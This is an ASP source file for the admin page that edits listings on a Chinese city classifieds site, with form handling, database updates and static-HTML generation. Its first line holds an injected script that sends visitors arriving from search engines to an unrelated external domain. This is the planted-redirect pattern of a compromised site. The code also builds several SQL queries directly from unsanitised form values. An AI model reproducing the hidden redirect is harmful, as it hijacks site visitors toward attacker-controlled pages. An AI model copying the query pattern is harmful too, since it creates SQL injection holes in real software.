d:\wwwroot\wuchunhua\cityadmin\editad.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_cityadmin")="" then
003: response.redirect "login.asp"
004: end if
005: if session("twoid")=0 then
006: city="city_oneid="&session("oneid")&""
007: else
008: if session("threeid")=0 then
009: city="city_oneid="&session("oneid")&" and city_twoid="&session("twoid")&""
010: else
011: city="city_oneid="&session("oneid")&" and city_twoid="&session("twoid")&" and city_threeid="&session("threeid")&""
012: end if
013: end if
014: dim theid,dtitle,dcolor,dbgcolor1,dcu,dlei,dispic,dpic,dtext,dstop,dtop,dlift,dmoney,sql,rs
015: theid=request("id")
016: if isnumeric(theid)=false then
017: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
018: response.end
019: end if
020:
021: dtitle=HtmlEncode(trim(request.form("dtitle")))
022: dcolor=HtmlEncode(trim(request.form("dcolor")))
023: dbgcolor1=HtmlEncode(trim(request.form("dbgcolor1")))
024: dcu=HtmlEncode(trim(request.form("dcu")))
025: city_oneid=HtmlEncode(trim(request.form("city_one")))
026: city_twoid=HtmlEncode(trim(request.form("city_two")))
027: if city_twoid=""  then
028: city_twoid=0
029: end if
030: city_threeid=HtmlEncode(trim(request.form("city_three")))
031: if city_threeid="" then
032: city_threeid=0
033: end if
034: type_oneid=HtmlEncode(trim(request.form("type_one")))
035: type_twoid=HtmlEncode(trim(request.form("type_two")))
036: if type_twoid=""  then
037: type_twoid=0
038: end if
039: type_threeid=HtmlEncode(trim(request.form("type_three")))
040: if type_threeid="" then
041: type_threeid=0
042: end if
043: dispic=HtmlEncode(trim(request.form("dispic")))
044: dpic=HtmlEncode(trim(request.form("dpic")))
045: dtext=HtmlEncode2(request.form("dtext"))
046: dusername=HtmlEncode(trim(request.form("dusername")))
047: dcardid=HtmlEncode(trim(request.form("dcardid")))
048: dtel=HtmlEncode(trim(request.form("dtel")))
049: dstop=HtmlEncode(trim(request.form("dstop")))
050: dtop=HtmlEncode(trim(request.form("dtop")))
051: shouye=HtmlEncode(trim(request.form("shouye")))
052: lift=HtmlEncode(trim(request.form("lift")))
053: dmoney=HtmlEncode(trim(request.form("dmoney")))
054:
055: if dmoney<>"" then
056:   if isnumeric(dmoney)=false then
057:   response.write "<script>alert('信息费用请填写数字,立即返回!');history.back();</script>"
058:   response.end
059:   end if
060: end if
061:
062: sql="select * from china_data where '"&city&"' and adid="&theid
063: set rs=server.createobject("adodb.recordset")
064: rs.open sql,conn,1,3
065: if rs.eof or rs.bof then
066: response.write"<p align='center'><font color='red'>此信息不存在或不属于您管理的地区!</font>"
067: response.end
068: end if
069: coneid=rs("city_oneid")
070: ctwoid=rs("city_twoid")
071: cthreeid=rs("city_threeid")
072: ctext=rs("text")
073: pic=rs("pic")
074: ccardid=rs("cardid")
075: cusername=rs("username")
076: ctel=rs("tel")
077: ctime=rs("time")
078: cstop=rs("stop")
079: ctop=rs("top")
080: cshouye=rs("shouye")
081: clift=rs("lift")
082: chot=rs("hot")
083: cmoney=rs("money")
084: cmark=rs("mark")
085: cispic=rs("ispic")
086: ctwoid=rs("city_twoid")
087: cthreeid=rs("city_threeid")
088: toneid=rs("type_oneid")
089: ttwoid=rs("type_twoid")
090: tthreeid=rs("type_threeid")
091:
092:
093:
094: if dtitle<>"" then
095: rs.close
096: rs.open "select city from china_city where twoid=0 and threeid=0 and id="&city_oneid,conn,1,1
097: city_one=rs("city")
098: rs.close
099: if  city_twoid<>0 then
100: rs.open "select city from china_city where id="&city_oneid&" and threeid=0 and twoid="&city_twoid,conn,1,1
101: city_two=rs("city")
102: rs.close
103: end if
104: if city_threeid<>0 then
105: rs.open "select city from china_city where id="&city_oneid&" and twoid="&city_twoid&" and threeid="&city_threeid,conn,1,1
106: city_three=rs("city")
107: rs.close
108: end if
109: rs.open "select name from china_type where twoid=0 and threeid=0 and id="&type_oneid,conn,1,1
110: type_one=rs("name")
111: rs.close
112: if type_twoid<>0 then
113: rs.open "select name from china_type where id="&type_oneid&" and threeid=0 and twoid="&type_twoid,conn,1,1
114: type_two=rs("name")
115: rs.close
116: end if
117: if type_threeid<>0 then
118: rs.open "select name from china_type where id="&type_oneid&" and twoid="&type_twoid&" and threeid="&type_threeid,conn,1,1
119: type_three=rs("name")
120: rs.close
121: end if
122:
123: sql="select * from china_data where '"&city&"' and adid="&theid
124: rs.open sql,conn,1,3
125: rs("title")=dtitle
126: rs("color")=dcolor
127: rs("bgcolor1")=dbgcolor1
128: rs("cu")=dcu
129: rs("city_oneid")=city_oneid
130: rs("city_one")=city_one
131: rs("city_two")=city_two
132: rs("city_twoid")=city_twoid
133: rs("city_three")=city_three
134: rs("city_threeid")=city_threeid
135: rs("type_oneid")=type_oneid
136: rs("type_one")=type_one
137: rs("type_twoid")=type_twoid
138: rs("type_two")=type_two
139: rs("type_threeid")=type_threeid
140: rs("type_three")=type_three
141: rs("ispic")=dispic
142: if dpic="http://" then
143: dpic=""
144: end if
145: if rs("pic")<>dpic then
146: if rs("pic")<>"" and lcase(left(rs("pic"),7))<>"http://" then
147: '''''''''''删除图片开始''''''''''''''''
148: Set fdel = CreateObject("Scripting.FileSystemObject")  
149:               tempImageDir = Server.MapPath("../adpic/"&rs("pic")&"")
150:                 fdel.DeleteFile(tempImageDir)
151: set fdel=nothing
152: '''''''''''删除图片结束'''''''''''''''
153: end if
154: rs("pic")=dpic
155: end if
156: rs("text")=dtext
157: rs("username")=dusername
158: rs("cardid")=dcardid
159: rs("tel")=dtel
160: rs("stop")=dstop
161: rs("top")=dtop
162: if dmoney = "" then dmoney = 0
163: rs("money")=dmoney
164: rs("time")=request.form("time")
165: rs("mark")=request.form("mark")
166: rs("shouye")=shouye
167: rs("lift")=lift
168: rs("hot")=request.form("hot")
169: rs.update
170: id=rs("adid")
171: rs.close  
172: set rs=nothing                                                                                    
173: conn.close  
174: set conn=nothing
175: ''''''''''''''''''生成html开始''''''''''''''''''''''''''
176: ServerURL=CStr(Request.ServerVariables("SCRIPT_NAME"))
177: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
178: ServerURL=left(ServerURL, n-1)'显示从左边数第"n-1"个字符前面的字符,
179: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
180: ServerURL=left(ServerURL, n)'显示从左边数第"n"个字符前面的字符,
181: ServerURL="http://"&Request.ServerVariables("SERVER_NAME")&""&ServerURL&"show.asp?id="&id&""
182:
183: set http=server.createobject("MSXML2.XMLHTTP")
184: Http.open "get",ServerURL,false
185: Http.send()
186: AA=Http.responseText
187: set http=nothing
188: set objfso = Server.CreateObject("Scripting.FileSystemObject")
189: set htmout = objfso.CreateTextFile(server.mappath("../html/"&id&".htm"))
190: AA=replace(AA,"adpic/","../adpic/")
191: AA=replace(AA,"link.asp","../link.asp")
192: AA=replace(AA,"link_img.asp","../link_img.asp")
193: AA=replace(AA,"index.asp","../index.asp")
194: AA=replace(AA,"114/../index.asp","../114/index.asp")
195: AA=replace(AA,"ad.asp","../ad.asp")
196: AA=replace(AA,"TV.asp","../tv.asp")
197: AA=replace(AA,"user.asp","../user.asp")
198: AA=replace(AA,"gbook.asp","../gbook.asp")
199: AA=replace(AA,"city.asp","../city.asp")
200: AA=replace(AA,"post.asp","../post.asp")
201: AA=replace(AA,"city_more.asp","../city_more.asp")
202: AA=replace(AA,"reg.asp","../reg.asp")
203: AA=replace(AA,"login.asp","../login.asp")
204: AA=replace(AA,"search.asp","../search.asp")
205: AA=replace(AA,"114/join.asp","../114/join.asp")
206: AA=replace(AA,"fabu.asp","../fabu.asp")
207: AA=replace(AA,"type.asp","../type.asp")
208: AA=replace(AA,"show.asp","../show.asp")
209: AA=replace(AA,"114/qy../login.asp","../114/qylogin.asp")
210: AA=replace(AA,"rq_message.asp","../rq_message.asp")
211: AA=replace(AA,"top.asp","../top.asp")
212: AA=replace(AA,"money.asp","../money.asp")
213: AA=replace(AA,"pic.asp","../pic.asp")
214: AA=replace(AA,"bbs/","../bbs/")
215: AA=replace(AA,"html/","")
216: AA=replace(AA,"ip.asp","../ip.asp")
217: AA=replace(AA,"phone.asp","../phone.asp")
218: AA=replace(AA,"about.asp","../about.asp")
219: AA=replace(AA,"send_zn_message.asp","../send_zn_message.asp")
220: htmout.write replace(AA,"images/","../images/")
221: htmout.close  
222: set htmout=nothing  
223: set objfso=nothing  
224: ''''''''''''''''''生成html结束''''''''''''''''''''''''''
225: response.redirect "ok.asp"
226: end if%
>
227:
228: <html>
229: <head>
230: <link rel="stylesheet" type="text/css" href="style.css">
231: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
232: <meta name="GENERATOR" content="Microsoft FrontPage 6.0">
233: <meta name="ProgId" content="FrontPage.Editor.Document">
234: <title>修改信息</title>
235: <SCRIPT LANGUAGE="JavaScript">
236: <!--//
237: function checkadd()
238: {  
239:
240:                    //检查年月日是否是合法日期
241:
242:                    function isdate(intYear,intMonth,intDay){
243:
244:                       if(isNaN(intYear)||isNaN(intMonth)||isNaN(intDay)) return false;    
245:
246:                       if(intMonth>12||intMonth<1) return false;  
247:
248:                       if ( intDay<1||intDay>31)return false;  
249:
250:                       if((intMonth==4||intMonth==6||intMonth==9||intMonth==11)&&(intDay>30)) return false;  
251:
252:                       if(intMonth==2){  
253:
254:                          if(intDay>29) return false;    
255:
256:                          if((((intYear%100==0)&&(intYear%400!=0))||(intYear%4!=0))&&(intDay>28))return false;  
257:
258:                         }  
259:
260:                       return true;  
261:
262:                    }  
263:
264:
265:
266:                    //检查身份证是否是正确格式
267:
268:                    function checkCard(dcardid)
269:
270:                    {
271:
272:                        var pattern;
273:
274:                             if (dcardid.length==15)
275:
276:                             {
277:
278:                                  pattern= /^\d{15}$/;//正则表达式,15位且全是数字
279:
280:                                  if (pattern.exec(dcardid)==null)
281:
282:                                  {
283:
284:                                     alert("15位身份证号码必须为数字!")
285:
286:
287:                                       return false;
288:
289:                                  }
290:
291:                                  if (!isdate("19"+dcardid.substring(6,8),dcardid.substring(8,10),dcardid.substring(10,12)))
292:
293:                                  {
294:
295:                               alert("身份证号码中所含日期不正确")
296:
297:                                  return false;}
298:
299:                                 
300:
301:                             }
302:
303:                             else     if (dcardid.length==18)
304:
305:                             {
306:
307:                                 pattern= /^\d{17}(\d|x|X)$/;//正则表达式,18位且前17位全是数字,最后一位只能数字,x,X
308:
309:                                  if (pattern.exec(dcardid)==null)
310:
311:                                  {
312:
313:                                             alert("18位身份证号码必须为数字!")
314:
315:                                           return false;
316:
317:                                  }
318:
319:                                  if (!isdate(dcardid.substring(6,10),dcardid.substring(10,12),dcardid.substring(12,14)))
320:
321:                                  {
322:
323:                                         alert("身份证号码中所含日期不正确")  
324:
325:                                  return false;
326:
327:                                  }
328:
329:                                  var strJiaoYan  =[  "1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"];
330:
331:                                  var intQuan =[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1];
332:
333:                                  var intTemp=0;
334:
335:                                  for(i = 0; i < dcardid.length - 1; i++)
336:
337:                                  intTemp +=  dcardid.substring(i, i + 1)  * intQuan[i];  
338:
339:                                  intTemp %= 11;
340:
341:                                  if(dcardid.substring(dcardid.length - 1,dcardid.length).toUpperCase()!=strJiaoYan[intTemp])
342:
343:                                  {
344:
345:                                         alert("身份证末位验证码失败!")
346:
347:                                  return false;
348:
349:                                  }
350:
351:                             }
352:
353:                             else
354:
355:                             {
356:
357:                             alert("身份证号长度必须为15或18!")
358:
359:                             return false;
360:
361:                             }
362:
363:                     return true;  
364:
365:                    }
366:
367:     if (document.postart.dtitle.value.length<1)
368:    {
369:         alert("请填写信息标题!");
370:         document.postart.dtitle.focus();
371:         return false;
372:     }
373:     if (document.postart.dlei.value=="选择信息类别")
374:    {
375:         alert("请选择信息类别!");
376:         document.postart.dlei.focus();
377:         return false;
378:     }
379:     if (document.postart.dtext.value.length>1500)
380:    {
381:         alert("请把信息内容的字数控制在1500以内!");
382:         document.postart.dtext.focus();
383:         return false;
384:     }
385:    if (document.postart.dusername.value.length == 0) {
386:       alert("请您填写联系人姓名!");
387:       document.postart.dusername.focus();
388:       return false;
389:    }
390:    var str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./'[]{}`1234567890-=\~!@#$%^&*()_+|?><:";
391:    var errorChar
392:    errorChar = isCharsInBag(postart.dusername.value,str)
393:    if (errorChar != "" )
394:    {
395:       alert('联系人姓名必须是中文!');
396:       postart.dusername.focus();
397:       return false;
398:    }
399: function isCharsInBag (s, bag)
400: {
401: var i,c;
402: for (i = 0; i < s.length; i++)
403: {
404: c = s.charAt(i);//字符串s中的字符
405: if (bag.indexOf(c) > -1)
406: return c;
407: }
408: return "";
409: }
410:   
411:        if(document.postart.dusername.value.length<2||document.postart.dusername.value.length>4){
412:       alert("联系人姓名不能少于2字多于4字!");
413:       document.postart.dusername.focus();
414:       return false;
415:    }  
416:    <%if webcardid="1" then%>
417:    if (document.postart.dcardid.value.length == 0) {
418:       alert("请填写您的身份证号!");
419:       document.postart.dcardid.focus();
420:       return false;
421:    }
422:       if(checkCard(document.postart.dcardid.value)==false)
423:       {
424:          document.postart.dcardid.focus();
425:          return false;
426:       }
427:       <%end if%>
428:     if (document.postart.dtel.value.length<7)
429:    {
430:         alert("请填写您的联系电话,不能小于七位数!");
431:         document.postart.dtel.focus();
432:         return false;
433:     }
434:
435:     if (document.postart.dstop.value=="选择有效期")
436:    {
437:         alert("请选择有效期!");
438:         document.postart.dstop.focus();
439:         return false;
440:     }
441: }
442: //-->

443: </SCRIPT>
444: <SCRIPT LANGUAGE="JavaScript">      
445: <!-- Begin
446: maxLen = 1500;
447: function checkMaxInput(form) {
448: if (form.dtext.value.length > maxLen)
449: form.remLen.value = 0;
450: else form.remLen.value = maxLen - form.dtext.value.length;
451: }
452: //  End -->

453: </script>
454: <script language="javascript" type="text/javascript">
455: <!--
456: function changeColor(o) {
457:     document.getElementById("colorBox").style.color = o.value;
458: }
459: //-->

460: </script>
461: <script language="javascript" type="text/javascript">
462: <!--
463: function changeColor1(o) {
464:     document.getElementById("colorBox1").style.background = o.value;
465: }
466: //-->

467: </script>
468: </head>
469:
470: <body background="images/background.gif">
471: <div align="center">
472: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
473:   <tr>
474:     <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">编 辑 信 息 内 容</font></td>
475:   </tr>
476:   <tr>
477:     <td align="center" bgcolor="#FFFFFF"> <br>
478:       <form action="" method="post" name="postart" onsubmit="return checkadd()">
479:           <table width="98%" border="0" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
480:             <tr bgcolor="#FFFFFF">
481:               <td width="27%" height="26" align="right">信息标题:</td>
482:               <td height="26" colspan="2">
483:                 <input type="text" name="dtitle" size="40" maxlength="40" value="<%=rs("title")%>">
484:                 <font color="#FF0000">*<%=rs("ip")%></font></td>
485:             </tr>
486:             <tr bgcolor="#FFFFFF">
487:               <td height="26" align="right">是否加粗:</td>
488:               <td height="26" colspan="2">
489:                 <input type="radio" value="no" <%if rs("cu")="no" then%>checked<%end if%> name="dcu">
490:                 否&nbsp;
491:                 <input type="radio" value="yes" name="dcu" <%if rs("cu")="yes" then%>checked<%end if%>>
492:                 是</td>
493:             </tr>
494:             <tr bgcolor="#FFFFFF">
495:               <td align="right">标题颜色:</td>
496:               <td width="160" height="26">
497:                 <input name="dcolor" type="text" id="dcolor" onchange="changeColor(this);" value="<%=rs("color")%>" size="8" />
498:                 <input type="button" name="Submit" value="选择颜色" onclick="window.open('../colorpicker.html', 'colorPicker', 'width=200, height=160');" />
499:               </td>
500:               <td rowspan="2">
501:                 <div align="center">
502:                   <table width="182" height="24" border="0" cellpadding="0" cellspacing="1" bgcolor="#cae2f8">
503:                     <tr>
504:                       <td align="center" <%if rs("bgcolor1")<>"" then%>bgcolor="<%=rs("bgcolor1")%>"<%else%>bgcolor="#EFF7FE"<%end if%>>
505:                         <table width="166" border="0" cellspacing="0" cellpadding="0" height="5">
506:                           <tr>
507:                             <td></td>
508:                           </tr>
509:                         </table>
510:                         <font style="font-size:14px" color="<%if rs("color")<>"" then%><%=rs("color")%><%else%>#000000<%end if%>"><b>原来的标题颜色</b></font></td>
511:                     </tr>
512:                   </table>
513:                   <table width="166" border="0" cellspacing="0" cellpadding="0" height="2">
514:                     <tr>
515:                       <td></td>
516:                     </tr>
517:                   </table>
518:                   <table width="182" height="24" border="0" cellpadding="0" cellspacing="1" bgcolor="#CAE2F8">
519:                     <tr>
520:                       <td align="center" <%if rs("bgcolor1")<>"" then%>bgcolor="<%=rs("bgcolor1")%>"<%else%>bgcolor="#EFF7FE"<%end if%>>
521:                         <div id="colorBox1" style="width: 180px;height: 24px">
522:                           <table width="166" border="0" cellspacing="0" cellpadding="0" height="5">
523:                             <tr>
524:                               <td></td>
525:                             </tr>
526:                           </table>
527:                           <font style="font-size:14px" color="<%if rs("color")<>"" then%><%=rs("color")%><%else%>#000000<%end if%>">
528:                           <div id="colorBox"><b>修改后标题颜色</b></div>
529:                           </font> </div>
530:                       </td>
531:                     </tr>
532:                   </table>
533:                 </div>
534:               </td>
535:             </tr>
536:             <tr bgcolor="#FFFFFF">
537:               <td align="right">标题背景:</td>
538:               <td height="26">
539:                 <input name="dbgcolor1" type="text" id="dbgcolor1" onchange="changeColor1(this);" value="<%=rs("bgcolor1")%>" size="8" />
540:                 <input type="button" name="Submit" value="选择颜色" onclick="window.open('../colorpicker1.html', 'colorPicker', 'width=200, height=160');" />
541:               </td>
542:             </tr>
543:             <tr bgcolor="#FFFFFF">
544:                <td height="26" align="right">选择城市:</td>
545:               <td height="26" colspan="2">
546:                    <%
547: set rsi=conn.execute("select * from china_city where id>0 and twoid>0 and threeid=0")
548: %
>
549:       <script language = "JavaScript">
550: var onecount;
551: onecount=0;
552: subcat = new Array();
553:         <%
554:       dim count:count = 0
555:         do while not rsi.eof
556:         %
>
557: subcat[<%=count%>] = new Array("<%=rsi("city")%>","<%=rsi("id")%>","<%=rsi("twoid")%>");
558:         <%
559:         count = count + 1
560:         rsi.movenext
561:         loop
562:         rsi.close
563:       set rsi=nothing
564:         %
>
565: onecount=<%=count%>;
566: </script>
567: <%
568: set rsi=conn.execute("select * from china_city where id>0 and twoid>0 and threeid>0")
569: %
>
570: <script language = "JavaScript">
571: var onecount4;
572: onecount4=0;
573: subcat4 = new Array();
574:         <%
575:       dim count4:count4 = 0
576:         do while not rsi.eof
577:         %
>
578: subcat4[<%=count4%>] = new Array("<%=rsi("city")%>","<%=rsi("id")%>","<%=rsi("twoid")%>","<%=rsi("threeid")%>");
579:         <%
580:         count4 = count4 + 1
581:         rsi.movenext
582:         loop
583:         rsi.close
584:       set rsi = nothing
585:         %
>
586: onecount4=<%=count4%>;
587:
588: function changelocation(locationid)
589:     {
590:     document.postart.city_two.length = 0;
591:    document.postart.city_two.options[0] = new Option('选择城市','');
592:    document.postart.city_three.length = 0;
593:    document.postart.city_three.options[0] = new Option('选择城市','');
594:     var locationid=locationid;
595:     var i;
596:     for (i=0;i < onecount; i++)
597:         {
598:             if (subcat[i][1] == locationid)
599:             {
600:                 document.postart.city_two.options[document.postart.city_two.length] = new Option(subcat[i][0], subcat[i][2]);
601:             }        
602:         }
603:         
604:     }    
605:   
606:    function changelocation4(locationid,locationid1)
607:     {
608:     document.postart.city_three.length = 0;
609:     document.postart.city_three.options[0] = new Option('选择城市','');
610:     var locationid=locationid;
611:     var locationid1=locationid1;
612:     var i;
613:     for (i=0;i < onecount4; i++)
614:         {
615:             if (subcat4[i][2] == locationid)
616:             {
617:          if (subcat4[i][1] == locationid1)
618:          {
619:                 document.postart.city_three.options[document.postart.city_three.length] = new Option(subcat4[i][0], subcat4[i][3]);
620:             }        
621:         }
622:        }
623:     }            
624:               </script>
625:       <select name="city_one" size="1" id="select2" >
626:     <option value="<%=rs("city_oneid")%>" selected><%=rs("city_one")%></option>
627:    </select>
628:       <select name="city_two" id="city_two" onChange="changelocation4(document.postart.city_two.options[document.postart.city_two.selectedIndex].value,document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
629:     <option value="" selected>选择城市</option>
630:    <%if session("twoid")<>0 then
631:    set rsi=conn.execute("select * from china_city where id="&session("oneid")&" and twoid="&session("twoid")&" and threeid=0")
632:   %
><option value="<%=rsi("twoid")%>" <%if rsi("twoid")=rs("city_twoid") then%>selected<%end if%>><%=rsi("city")%></option>
633: <%rsi.close
634: set rsi = nothing
635: else
636: set rsi=conn.execute("select * from china_city where id="&session("oneid")&" and twoid>0 and threeid=0")
637: if rsi.eof or rsi.bof then
638: response.write "<option value=''>没有分类</option>"
639: else
640: do until rsi.eof%
>
641:   <option value="<%=rsi("twoid")%>" <%if rsi("twoid")=rs("city_twoid") then%>selected<%end if%>><%=rsi("city")%></option>
642: <%rsi.movenext
643:     loop
644:    %
>
645:    <%end if
646: rsi.close
647: set rsi = nothing
648: end if
649: %
>
650:   
651:    </select>
652:         <select name="city_three" id="city_three">
653:        <option value="" selected>选择城市</option>
654:            <%if session("threeid")<>0 then
655:    set rsi=conn.execute("select * from china_city where id="&session("oneid")&" and twoid="&session("twoid")&" and threeid="&session("threeid")&"")
656: response.write "<option value='"&rsi("threeid")&"'>"&rsi("city")&"</option>"
657: rsi.close
658: set rsi = nothing
659: else
660: set rsi=conn.execute("select * from china_city where id="&session("oneid")&" and twoid="&rs("city_twoid")&" and threeid<>0")
661: if rsi.eof or rsi.bof then
662: response.write "<option value=''>没有分类</option>"
663: else
664: do until rsi.eof%
>
665: <option value="<%=rsi("threeid")%>" <%if rsi("threeid")=rs("city_threeid") then%>selected<%end if%>><%=rsi("city")%></option>
666:    <% rsi.movenext
667:     loop
668:    %
>
669: <%end if
670: end if
671: %
>
672:     </select>
673:                 <font color="#FF0000">*</font> </td>
674:             </tr>
675:             <tr>
676:               <td width="27%" height="26" align="right" bgcolor="#FFFFFF">信息类别:</td>
677:               <td height="26" colspan="2" bgcolor="#FFFFFF">
678:                 <%
679: set rsi=conn.execute("select * from china_type where id>0 and twoid>0 and threeid=0")
680: %
>
681:       <script language = "JavaScript">
682: var onecount2;
683: onecount2=0;
684: subcat2 = new Array();
685:         <%
686:       dim count2:count2 = 0
687:         do while not rsi.eof
688:         %
>
689: subcat2[<%=count2%>] = new Array("<%=rsi("name")%>","<%=rsi("id")%>","<%=rsi("twoid")%>");
690:         <%
691:         count2 = count2 + 1
692:         rsi.movenext
693:         loop
694:         rsi.close
695:       set rsi = nothing
696:         %
>
697: onecount2=<%=count2%>;
698: </script>
699:
700: <%
701: set rsi=conn.execute("select * from china_type where id>0 and twoid>0 and threeid>0")
702: %
>
703: <script language = "JavaScript">
704: var onecount3;
705: onecount3=0;
706: subcat3 = new Array();
707:         <%
708:       dim count3:count3 = 0
709:         do while not rsi.eof
710:         %
>
711: subcat3[<%=count3%>] = new Array("<%=rsi("name")%>","<%=rsi("id")%>","<%=rsi("twoid")%>","<%=rsi("threeid")%>");
712:         <%
713:         count3 = count3 + 1
714:         rsi.movenext
715:         loop
716:         rsi.close
717:       set rsi = nothing
718:         %
>
719: onecount3=<%=count3%>;
720:
721:
722:
723: function changelocation2(locationid)
724:     {
725:     document.postart.type_two.length = 0;
726:     document.postart.type_two.options[0] = new Option('选择信息','');
727:    document.postart.type_three.length = 0;
728:     document.postart.type_three.options[0] = new Option('选择信息','');
729:     var locationid=locationid;
730:    var i;
731:     for (i=0;i < onecount2; i++)
732:         {
733:             if (subcat2[i][1] == locationid)
734:             {
735:                 document.postart.type_two.options[document.postart.type_two.length] = new Option(subcat2[i][0], subcat2[i][2]);
736:             }        
737:         }
738:       
739:     }    
740:      function changelocation3(locationid,locationid1)
741:     {
742:     document.postart.type_three.length = 0;
743:     document.postart.type_three.options[0] = new Option('选择信息','');
744:     var locationid=locationid;
745:     var locationid1=locationid1;
746:     var i;
747:     for (i=0;i < onecount3; i++)
748:         {
749:             if (subcat3[i][2] == locationid)
750:             {
751:          if (subcat3[i][1] == locationid1)
752:          {
753:                 document.postart.type_three.options[document.postart.type_three.length] = new Option(subcat3[i][0], subcat3[i][3]);
754:             }        
755:         }
756:        }
757:     }            
758:     </script>
759:       <select name="type_one" size="1" id="select3" onChange="changelocation2(document.postart.type_one.options[document.postart.type_one.selectedIndex].value)">
760:         
761:       <option value="" selected>选择信息</option>
762:         <%set rsi=conn.execute("select * from china_type where id>0 and twoid=0")
763: if rsi.eof and rsi.bof then
764: response.write "<option value=''>没有分类</option>"
765: else
766: do until rsi.eof%
>
767: <option value="<%=rsi("id")%>" <%if rsi("id")=rs("type_oneid") then%>selected<%end if%>><%=rsi("name")%></option>
768:    <% rsi.movenext
769:     loop
770:    end if
771: rsi.close
772: set rsi= nothing
773: %
>
774:       </select>
775:       <select name="type_two" id="select4" onChange="changelocation3(document.postart.type_two.options[document.postart.type_two.selectedIndex].value,document.postart.type_one.options[document.postart.type_one.selectedIndex].value)">
776:               <option value="" selected>选择信息</option>
777:               <%set rsi=conn.execute("select * from china_type where id="&toneid&" and twoid>0 and threeid=0")
778: if rsi.eof or rsi.bof then
779: response.write "<option value=''>没有分类</option>"
780: else
781: do until rsi.eof%
>
782: <option value="<%=rsi("twoid")%>" <%if rsi("twoid")=rs("type_twoid") then%>selected<%end if%>><%=rsi("name")%></option>
783:    <% rsi.movenext
784:     loop
785:    end if
786: rsi.close
787: set rsi= nothing
788:
789: %
>    </select>
790:    <select name="type_three" id="select5">
791:         <option value="" selected>选择信息</option>
792:         <%set rsi=conn.execute("select * from china_type where id="&toneid&" and twoid="&rs("type_twoid")&" and threeid>0")
793: if rsi.eof and rsi.bof then
794: response.write "<option value=''>没有分类</option>"
795: else
796: do until rsi.eof%
>
797: <option value="<%=rsi("threeid")%>" <%if rsi("threeid")=rs("type_threeid") then%>selected<%end if%>><%=rsi("name")%></option>
798:    <% rsi.movenext
799:     loop
800:    end if
801: rsi.close
802: set rsi= nothing
803: conn.close
804: set conn= nothing
805: %
>  
806:     </select>
807:               </td>
808:             </tr>
809:             <tr bgcolor="#FFFFFF">
810:               <td height="26" align="right">信息形式:</td>
811:               <td height="26" colspan="2">
812:                 <input type="radio" value="no" name="dispic" <%If cispic="no" Then%>checked<%End If%>>
813:                 文字信息&nbsp;
814:                 <input type="radio" value="yes" name="dispic" <%If cispic="yes" Then%>checked<%End If%>>
815:                 图片信息 <font color="#FF0000">(注:设置为</font><font color="#008080">图片信息</font><font color="#FF0000">将会在</font><font color="#008080">全部分类</font><font color="#FF0000">栏目以图片方式显示)</font></td>
816:             </tr>
817:             <tr bgcolor="#FFFFFF">
818:               <td height="26" align="right">图片路径:</td>
819:               <td height="26" colspan="2">
820:                 <input type="text" name="dpic" size="30" value="<%=pic%>">
821: <iframe style="top:2px" ID="UploadFiles" src="../upload_Photo.asp?PhotoUrlID=0" frameborder=0 scrolling=no width="320" height="25"></iframe></td>
822:             </tr>
823:             <tr bgcolor="#FFFFFF">
824:               <td height="26" align="right" valign="top">信息内容:</td>
825:               <td colspan="2">
826:                 <textarea rows="14" name="dtext" cols="60" onKeyDown="checkMaxInput(this.form)" onKeyUp="checkMaxInput(this.form)"><%if ctext<>"" then%><%=replace(ctext,"<br>",vbcrlf)%><%end if%>
827:       </textarea>
828:                 <font color="#FF0000">*&nbsp;</font> <font color="#FF0000"><br>
829:                 目前还可写
830:                 <input readonly type=text name=remLen size=4 maxlength=4 style="border: 1 solid #888888">
831:                 个字!</font> </td>
832:             </tr>
833:             <tr bgcolor="#FFFFFF">
834:               <td height="26" align="right">联系人:</td>
835:               <td height="26" colspan="2">
836:                 <input name="dusername" type="text" id="dusername" value="<%=cusername%>" size="20" maxlength="30">
837:                 <font color="#FF0000">* </font></td>
838:             </tr>
839:             <tr bgcolor="#FFFFFF" <%if webcardid="0" then%>style="display:none"<%end if%>>
840:               <td height="26" align="right">身份证号:</td>
841:               <td height="26" colspan="2">
842:                 <input name="dcardid" type="text" id="dcardid" value="<%=ccardid%>" size="20" maxlength="18">
843:                 <font color="#FF0000">* </font></td>
844:             </tr>
845:             <tr bgcolor="#FFFFFF">
846:               <td height="26" align="right">联系电话:</td>
847:               <td height="26" colspan="2">
848:                 <input name="dtel" type="text" id="dtel" value="<%=ctel%>" size="20" maxlength="20">
849:                 <font color="#FF0000">* </font></td>
850:             </tr>
851:             <tr bgcolor="#FFFFFF">
852:               <td height="26" align="right">生效日期:</td>
853:               <td height="26" colspan="2">
854:                 <input name="time" size="15" maxlength="50" value="<%=ctime%>">
855:                 <font color="#FF0000">(格式如:2004-10-1)</font></td>
856:             </tr>
857:             <tr bgcolor="#FFFFFF">
858:               <td height="26" align="right">有效期至:</td>
859:               <td height="26" colspan="2">
860:                 <input name="dstop" size="15" maxlength="50" value="<%=cstop%>">
861:                 <font color="#FF0000">(格式如:2004-10-1)</font></td>
862:             </tr>
863:             <tr bgcolor="#FFFFFF">
864:               <td height="26" align="right">是否固顶:</td>
865:               <td height="26" colspan="2">
866:                 <input type="radio" value="0" name="dtop" <%if ctop="0" then%>checked<%end if%>>
867:                 否&nbsp;
868:                 <input type="radio" value="1" name="dtop" <%if ctop="1" then%>checked<%end if%>>
